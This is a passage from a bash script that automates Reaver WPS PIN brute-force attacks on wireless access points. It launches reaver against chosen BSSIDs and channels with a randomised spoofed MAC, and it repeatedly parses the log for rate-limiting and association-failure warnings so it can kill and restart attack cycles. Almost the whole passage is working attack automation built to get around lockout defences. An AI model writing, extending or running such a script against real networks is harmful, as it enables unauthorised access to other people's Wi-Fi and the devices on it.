#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R10 == y || $USE_R10 == Y ]] && [[ $USE_LONG10 == y || $USE_LONG10 == Y ]] && [[ $USE_PIN10 == y || $USE_PIN10 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX10" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY10"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -r $RX10:$RY10 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN10 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE10 == n ] || [ $KEEP_FILE10 == N ]; then

          rm VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R11 == n || $USE_R11 == N ]] && [[ $USE_LONG11 == n || $USE_LONG11 == N ]] && [[ $USE_PIN11 == n || $USE_PIN11 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R11 == y || $USE_R11 == Y ]] && [[ $USE_LONG11 == n || $USE_LONG11 == N ]] && [[ $USE_PIN11 == n || $USE_PIN11 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX11" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY11"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -vv -x 60 -r $RX11:$RY11 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R11 == n || $USE_R11 == N ]] && [[ $USE_LONG11 == y || $USE_LONG11 == Y ]] && [[ $USE_PIN11 == n || $USE_PIN11 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R11 == y || $USE_R11 == Y ]] && [[ $USE_LONG11 == y || $USE_LONG11 == Y ]] && [[ $USE_PIN11 == n || $USE_PIN11 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX11" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY11"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -r $RX11:$RY11 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

